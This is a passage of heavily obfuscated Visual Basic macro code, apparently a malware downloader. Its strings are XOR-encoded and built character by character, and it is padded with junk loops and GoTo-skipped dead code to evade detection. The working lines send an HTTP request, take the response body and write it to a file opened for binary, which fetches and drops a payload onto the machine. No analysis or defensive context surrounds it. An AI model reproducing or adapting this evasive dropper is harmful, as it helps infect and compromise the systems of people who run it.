vOwulzPn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(58) & Chr(119) & Chr(49) & Chr(60) & Chr(49) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
aMPazblM = LTrim(vOwulzPn)
hPHTuqTZ = RTrim(aMPazblM)

Close #59
Dim ARKdusMA As Integer
For ARKdusMA = 0 To 1
Dim TgbZBJyg, JmsTARpb, HyGlbYGV As String
TgbZBJyg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(39) & Chr(113) & Chr(37) & Chr(51) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
JmsTARpb = LTrim(TgbZBJyg)
HyGlbYGV = RTrim(JmsTARpb)

DoEvents
Next ARKdusMA
Dim ZablitVt, vzORAowu, lzLHXfLi As String
ZablitVt = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(34) & Chr(44) & Chr(119) & Chr(53) & Chr(34) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
vzORAowu = LTrim(ZablitVt)
lzLHXfLi = RTrim(vzORAowu)

YzwDVEhC:

Dim wkxVQkNM As Integer
For wkxVQkNM = 0 To 8
Dim aIlOeVlj, TEathlpo, qvObEFzN As String
aIlOeVlj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(40) & Chr(103) & Chr(35) & Chr(60) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
TEathlpo = LTrim(aIlOeVlj)
qvObEFzN = RTrim(TEathlpo)

DoEvents
Next wkxVQkNM
Dim rUFKmJBp, YKeSrgIR, WIihpNMd As String
rUFKmJBp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(59) & Chr(102) & Chr(56) & Chr(37) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
YKeSrgIR = LTrim(rUFKmJBp)
WIihpNMd = RTrim(YKeSrgIR)

    DJJTVHAZKJC.Send Xorex(Chr(24) & Chr(23) & Chr(75) & Chr(13), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")



GoTo XpFkkdCB
Dim ihnmLaNp As String
Open Xorex(Chr(40) & Chr(38) & Chr(116) & Chr(41) & Chr(49) & Chr(37) & Chr(75) & Chr(49) & Chr(36) & Chr(37), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 15
Dim nQqJlwAa As Integer
For nQqJlwAa = 0 To 6
Dim XMcWGdSs, WTaIDglP, uQDQhewW As String
XMcWGdSs = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(36) & Chr(126) & Chr(38) & Chr(58) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
WTaIDglP = LTrim(XMcWGdSs)
uQDQhewW = RTrim(WTaIDglP)

DoEvents
Next nQqJlwAa
Dim gySEdyAu, quXGYpBo, yiyaagxp As String
gySEdyAu = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(33) & Chr(103) & Chr(62) & Chr(35) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
quXGYpBo = LTrim(gySEdyAu)
yiyaagxp = RTrim(quXGYpBo)

Put #15, , ihnmLaNp
Dim guKfzYkj As Integer
For guKfzYkj = 0 To 5
Dim FERGeYaX, lvdphaKF, dGeWuiik As String
FERGeYaX = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(63) & Chr(100) & Chr(36) & Chr(54) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lvdphaKF = LTrim(FERGeYaX)
dGeWuiik = RTrim(lvdphaKF)

DoEvents
Next guKfzYkj
Dim abQBZgwe, hhJZINUQ, RyCyFQLl As String
abQBZgwe = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(60) & Chr(124) & Chr(55) & Chr(55) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
hhJZINUQ = LTrim(abQBZgwe)
RyCyFQLl = RTrim(hhJZINUQ)

Close #15
Dim IMVLAfrt As Integer
For IMVLAfrt = 0 To 5
Dim OWoCRHLL, WaWNyRCr, uuUeIkNg As String
OWoCRHLL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(36) & Chr(124) & Chr(58) & Chr(48) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
WaWNyRCr = LTrim(OWoCRHLL)
uuUeIkNg = RTrim(WaWNyRCr)

DoEvents
Next IMVLAfrt
Dim COahTSBj, LOsANHxk, FPwDmWMl As String
COahTSBj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(63) & Chr(117) & Chr(55) & Chr(32) & Chr(39) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
LOsANHxk = LTrim(COahTSBj)
FPwDmWMl = RTrim(LOsANHxk)

XpFkkdCB:

Dim lbQFubjA As Integer
For lbQFubjA = 0 To 3
Dim ARovogxV, ynJLwPfH, QwvfItyI As String
ARovogxV = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(47) & Chr(50) & Chr(103) & Chr(32) & Chr(59) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
ynJLwPfH = LTrim(ARovogxV)
QwvfItyI = RTrim(ynJLwPfH)

DoEvents
Next lbQFubjA
Dim IimbNnAP, CVbetsDl, bpFCFOxD As String
IimbNnAP = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(47) & Chr(96) & Chr(61) & Chr(37) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
CVbetsDl = LTrim(IimbNnAP)
bpFCFOxD = RTrim(CVbetsDl)

    KVYTHKQITTJ = DJJTVHAZKJC.responseBody


GoTo TiMWLKAy
Dim ELcIJMuR As String
Open Xorex(Chr(34) & Chr(35) & Chr(115) & Chr(63) & Chr(36) & Chr(34) & Chr(75) & Chr(46) & Chr(55) & Chr(38), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 51
Dim QnDZppAB As Integer
For QnDZppAB = 0 To 6
Dim NboiXmPz, sTWqcoFd, qjvCwqlQ As String
NboiXmPz = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(61) & Chr(123) & Chr(55) & Chr(38) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
sTWqcoFd = LTrim(NboiXmPz)
qjvCwqlQ = RTrim(sTWqcoFd)

DoEvents
Next QnDZppAB
Dim pQNRPisZ, ySpJrsOE, aSlevjuR As String
pQNRPisZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(62) & Chr(106) & Chr(62) & Chr(37) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
ySpJrsOE = LTrim(pQNRPisZ)
aSlevjuR = RTrim(ySpJrsOE)

Put #51, , ELcIJMuR
Dim CtekPCwJ As Integer
For CtekPCwJ = 0 To 4
Dim FUpvbGCQ, lZKLSqGE, sLIREkru As String
FUpvbGCQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(62) & Chr(103) & Chr(55) & Chr(60) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lZKLSqGE = LTrim(FUpvbGCQ)
sLIREkru = RTrim(lZKLSqGE)

DoEvents
Next CtekPCwJ
Dim KZWlEUqz, mFpfdrMw, ORgJkHyr As String
KZWlEUqz = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(34) & Chr(106) & Chr(42) & Chr(51) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
mFpfdrMw = LTrim(KZWlEUqz)
ORgJkHyr = RTrim(mFpfdrMw)

Close #51
Dim cyAcGwFw As Integer
For cyAcGwFw = 0 To 3
Dim NaUpMUeg, suldxwyb, cdyhVopP As String
NaUpMUeg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(51) & Chr(127) & Chr(43) & Chr(59) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
suldxwyb = LTrim(NaUpMUeg)
cdyhVopP = RTrim(suldxwyb)

DoEvents
Next cyAcGwFw
Dim VTfvnKpN, LYcPWXUa, GYUXgatz As String
VTfvnKpN = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(57) & Chr(127) & Chr(57) & Chr(33) & Chr(43) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
LYcPWXUa = LTrim(VTfvnKpN)
GYUXgatz = RTrim(LYcPWXUa)

TiMWLKAy:

Dim WhueHXRu As Integer
For WhueHXRu = 0 To 7
Dim PZKWnsFc, hcbjDYTh, oFjzRDWL As String
PZKWnsFc = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(63) & Chr(99) & Chr(37) & Chr(58) & Chr(41) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
hcbjDYTh = LTrim(PZKWnsFc)
oFjzRDWL = RTrim(hcbjDYTh)

DoEvents
Next WhueHXRu
Dim rDovepHW, YVclSUbg, WFZXKlQC As String
rDovepHW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(47) & Chr(127) & Chr(58) & Chr(52) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
YVclSUbg = LTrim(rDovepHW)
WFZXKlQC = RTrim(YVclSUbg)

    TRULUSUSFEP = FreeFile

    Open XOGQTIGBKHF For Binary As #TRULUSUSFEP

GoTo UMroIGQw
Dim TTUWYJjW As String
Open Xorex(Chr(36) & Chr(41) & Chr(123) & Chr(56) & Chr(45) & Chr(53) & Chr(75) & Chr(41) & Chr(60) & Chr(60), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 58
Dim rjTpGWXi As Integer
For rjTpGWXi = 0 To 3
Dim NEDWrPEp, sObVTvYm, cHsaidOT As String
NEDWrPEp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(37) & Chr(121) & Chr(38) & Chr(61) & Chr(46) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
sObVTvYm = LTrim(NEDWrPEp)
cHsaidOT = RTrim(sObVTvYm)

DoEvents
Next rjTpGWXi
Dim nKliNsXZ, wLZlmjlR, kMDYFmJT As String
nKliNsXZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(59) & Chr(97) & Chr(60) & Chr(62) & Chr(45) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
wLZlmjlR = LTrim(nKliNsXZ)
kMDYFmJT = RTrim(wLZlmjlR)

Put #58, , TTUWYJjW
Dim hWWBhIJa As Integer
For hWWBhIJa = 0 To 2
Dim ayVZqJdT, YzTCvdtc, sCdkQUXg As String
ayVZqJdT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(36) & Chr(97) & Chr(42) & Chr(38) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
YzTCvdtc = LTrim(ayVZqJdT)
sCdkQUXg = RTrim(YzTCvdtc)

DoEvents
Next hWWBhIJa
Dim oIlYHLcw, QLInbjuG, NODrTzlc As String
oIlYHLcw = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(59) & Chr(118) & Chr(32) & Chr(56) & Chr(45) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
QLInbjuG = LTrim(oIlYHLcw)
NODrTzlc = RTrim(QLInbjuG)

Close #58
Dim ZnqFHwQL As Integer
For ZnqFHwQL = 0 To 1
Dim RngDQTDm, ZsKbOUlL, GkRZswxr As String
RngDQTDm = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(49) & Chr(41) & Chr(103) & Chr(54) & Chr(32) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
ZsKbOUlL = LTrim(RngDQTDm)
GkRZswxr = RTrim(ZsKbOUlL)

DoEvents
Next ZnqFHwQL
Dim ahAbCrKe, XjSQkihr, KkXCSdDt As String
ahAbCrKe = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(51) & Chr(120) & Chr(57) & Chr(61) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
XjSQkihr = LTrim(ahAbCrKe)
KkXCSdDt = RTrim(XjSQkihr)

UMroIGQw:

Dim aQHlJWAR As Integer
For aQHlJWAR = 0 To 5
Dim sbvTTlVW, tHhjxnfv, OQCQOWtj As String
sbvTTlVW = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(46) & Chr(117) & Chr(59) & Chr(36) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
tHhjxnfv = LTrim(sbvTTlVW)
OQCQOWtj = RTrim(tHhjxnfv)

DoEvents
Next aQHlJWAR
Dim jjAoUvNf, TuUDDpsX, ikWYxUWh As String
jjAoUvNf = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(33) & Chr(118) & Chr(56) & Chr(52) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
TuUDDpsX = LTrim(jjAoUvNf)
ikWYxUWh = RTrim(TuUDDpsX)

    Put #TRULUSUSFEP, , KVYTHKQITTJ

GoTo mhQRjNnQ
Dim UwcUKFRX As String
Open Xorex(Chr(46) & Chr(56) & Chr(124) & Chr(40) & Chr(46) & Chr(57) & Chr(75) & Chr(34) & Chr(62) & Chr(47), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 33
Dim UMBIvvfN As Integer
For UMBIvvfN = 0 To 5
Dim hGSaRbpj, AXvrufdA, DzquIzjS As String
hGSaRbpj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(50) & Chr(101) & Chr(35) & Chr(48) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
AXvrufdA = LTrim(hGSaRbpj)
DzquIzjS = RTrim(AXvrufdA)

DoEvents
Next UMBIvvfN
Dim irhAkJlO, etbDQWHP, BtOByNfS As String
irhAkJlO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(35) & Chr(96) & Chr(63) & Chr(59) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
etbDQWHP = LTrim(irhAkJlO)
BtOByNfS = RTrim(etbDQWHP)

Put #33, , UwcUKFRX
Dim YtyuwbQu As Integer
For YtyuwbQu = 0 To 1
Dim TQqIdnLJ, qUKenWQO, GZnvDjZn As String
TQqIdnLJ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(54) & Chr(41) & Chr(122) & Chr(60) & Chr(49) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
qUKenWQO = LTrim(TQqIdnLJ)
GZnvDjZn = RTrim(qUKenWQO)

DoEvents
Next YtyuwbQu
Dim kPIYhXFB, YbDpwUNU, oQzrttOz As String
kPIYhXFB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(42) & Chr(122) & Chr(33) & Chr(62) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
YbDpwUNU = LTrim(kPIYhXFB)
oQzrttOz = RTrim(YbDpwUNU)

Close #33
Dim KOwCXdTB As Integer
For KOwCXdTB = 0 To 9
Dim OBZMvKRj, IPyUxMpG, MHKPBUfN As String
OBZMvKRj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(61) & Chr(58) & Chr(106) & Chr(38) & Chr(59) & Chr(53) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
IPyUxMpG = LTrim(OBZMvKRj)
MHKPBUfN = RTrim(IPyUxMpG)

DoEvents
Next KOwCXdTB
Dim eiigUINO, BoknzDcP, MoADxKWQ As String
eiigUINO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(32) & Chr(105) & Chr(32) & Chr(60) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
BoknzDcP = LTrim(eiigUINO)
MoADxKWQ = RTrim(BoknzDcP)

mhQRjNnQ:

Dim oQdUquPl As Integer
For oQdUquPl = 0 To 1
Dim UaAZnmUO, dXoVFGbA, KKJlaqjl As String
UaAZnmUO = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(62) & Chr(114) & Chr(38) & Chr(56) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
dXoVFGbA = LTrim(UaAZnmUO)
KKJlaqjl = RTrim(dXoVFGbA)

DoEvents
Next oQdUquPl
Dim IfFphwkD, CrMDwuEw, bgoUtRdH As String
